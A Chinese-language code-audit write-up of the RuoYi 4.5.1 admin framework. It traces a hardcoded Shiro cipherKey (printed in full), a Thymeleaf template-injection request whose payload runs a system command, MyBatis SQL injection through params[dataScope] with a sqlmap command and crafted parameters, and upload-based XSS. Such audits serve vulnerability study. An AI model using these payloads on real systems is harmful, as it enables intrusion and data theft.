前期准备#
源码
Releases · yangzongzhuan/RuoYi
导入sql文件

修改配置文件src/main/resources/application-druid.yml


Shiro反序列化#
pom.xml中发现引入了Shiro组件

全局搜索cipherKey在src/main/resources/application.yml找到硬编码了密钥信息
zSyK5Kp6PZAAjlT+eeNMlg==发现login逻辑中有一个Boolean参数rememberMe

抓包验证

查看subject.login跳转到jetbrains://idea/navigate/reference?project=RuoYi-4.5.1&path=~\.m2\repository\org\apache\shiro\shiro-core\1.7.0\shiro-core-1.7.0.jar!\org\apache\shiro\subject\Subject.class
说明已经来到了Shiro对应的Jar包中,用的Shiro进行的鉴权
在知道Shiro加密密钥和确认Web使用了Shiro进行登录认证鉴权的前提下可以通过漏洞利用工具直接进行利用
Apache Shiro <=1.2.4版本属于密钥硬编码且使用AES-CBC加密模式,在Apache Shiro 1.2.4版本之后则是由用户指定密钥且加密模式更改为了AES-GCM
查看版本

工具直接打即可

Thymeleaf模版注入#
发现thymeleaf组件 版本为2.0.0

先全局搜一下::查看哪些组件可控
src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java

接受两个参数
* @param fragment 页面中的模板名称
* @param taskName 任务名称构造payload
攻击参考
POST /demo/form/localrefresh/task HTTP/1.1
Host: 10.61.197.210
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=5b02998a-cf66-4ed5-a4bb-bbf66bfb8f28
Content-Type: application/x-www-form-urlencoded
taskName=1&fragment=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x
SQLInjection安全问题#
RuoYI CMS使用了Mybatis持久层框架,而在MyBatis中会使用XML或注解来配置和映射原生信息将接口和Java的POJOs(Plain Ordinary Java Object,普通的Java对象)映射成数据库中的记录,所以我们可以通过全局检索"${}"来确定未使用预编译的可疑位置,随后进行参数回溯分析来确定漏洞是否真实存在

根据对应的mapper接口<mapper namespace="com.ruoyi.system.mapper.SysDeptMapper">

检索接口的具体调用点有那些位置

向上回溯Controller层

@RequiresPermissions注解表明接口访问权限
@ResponseBody注解表明会将返回值写入http响应

还需要看一下上层在调用接口的时候是否有做过滤处理

发现没有 那么就可以确定/system/dept/list存在sql注入

正常请求没有参数,可以手动构造params[dataScope]丢给sqlmap跑一下
在 Java 后端中,这样的参数会自动映射为一个嵌套的 Map:
java @RequestParam Map<String, Object> params; // params.get("dataScope") -> 值为 ""或者,如果是实体类中写了
Map<String, Object> params字段,也会映射进去。
deptName=
status=0
params[dataScope]=python sqlmap.py -r C:\Users\31702\Desktop\req.txt --batch
其余的漏洞点同理,这里再给一处
从SysUserMapper出发


回溯Controller层

抓个包

手动添加params[dataScope]
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=100&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=
文件上传导致XSS#
文件上传位置

全局搜FileUpload定位到上传位置

跟进

紧接着在这里调用重载的upload方法来进行文件上传操作

然后就是文件后缀和长度的检测


public static final void assertAllowed(MultipartFile file, String[] allowedExtension)
throws FileSizeLimitExceededException, InvalidExtensionException
{
long size = file.getSize();
if (DEFAULT_MAX_SIZE != -1 && size > DEFAULT_MAX_SIZE)
{
throw new FileSizeLimitExceededException(DEFAULT_MAX_SIZE / 1024 / 1024);
}
String fileName = file.getOriginalFilename();
String extension = getExtension(file);
if (allowedExtension != null && !isAllowedExtension(extension, allowedExtension))
{
if (allowedExtension == MimeTypeUtils.IMAGE_EXTENSION)
{
throw new InvalidExtensionException.InvalidImageExtensionException(allowedExtension, extension,
fileName);
}
else if (allowedExtension == MimeTypeUtils.FLASH_EXTENSION)
{
throw new InvalidExtensionException.InvalidFlashExtensionException(allowedExtension, extension,
fileName);
}
else if (allowedExtension == MimeTypeUtils.MEDIA_EXTENSION)
{
throw new InvalidExtensionException.InvalidMediaExtensionException(allowedExtension, extension,
fileName);
}
else if (allowedExtension == MimeTypeUtils.VIDEO_EXTENSION)
{
throw new InvalidExtensionException.InvalidVideoExtensionException(allowedExtension, extension,
fileName);
}
else
{
throw new InvalidExtensionException(allowedExtension, extension, fileName);
}
}
}包含了html文件和pdf文件可以用于进行上传对应类型的文件,如果支持在线解析则可以导致XSS

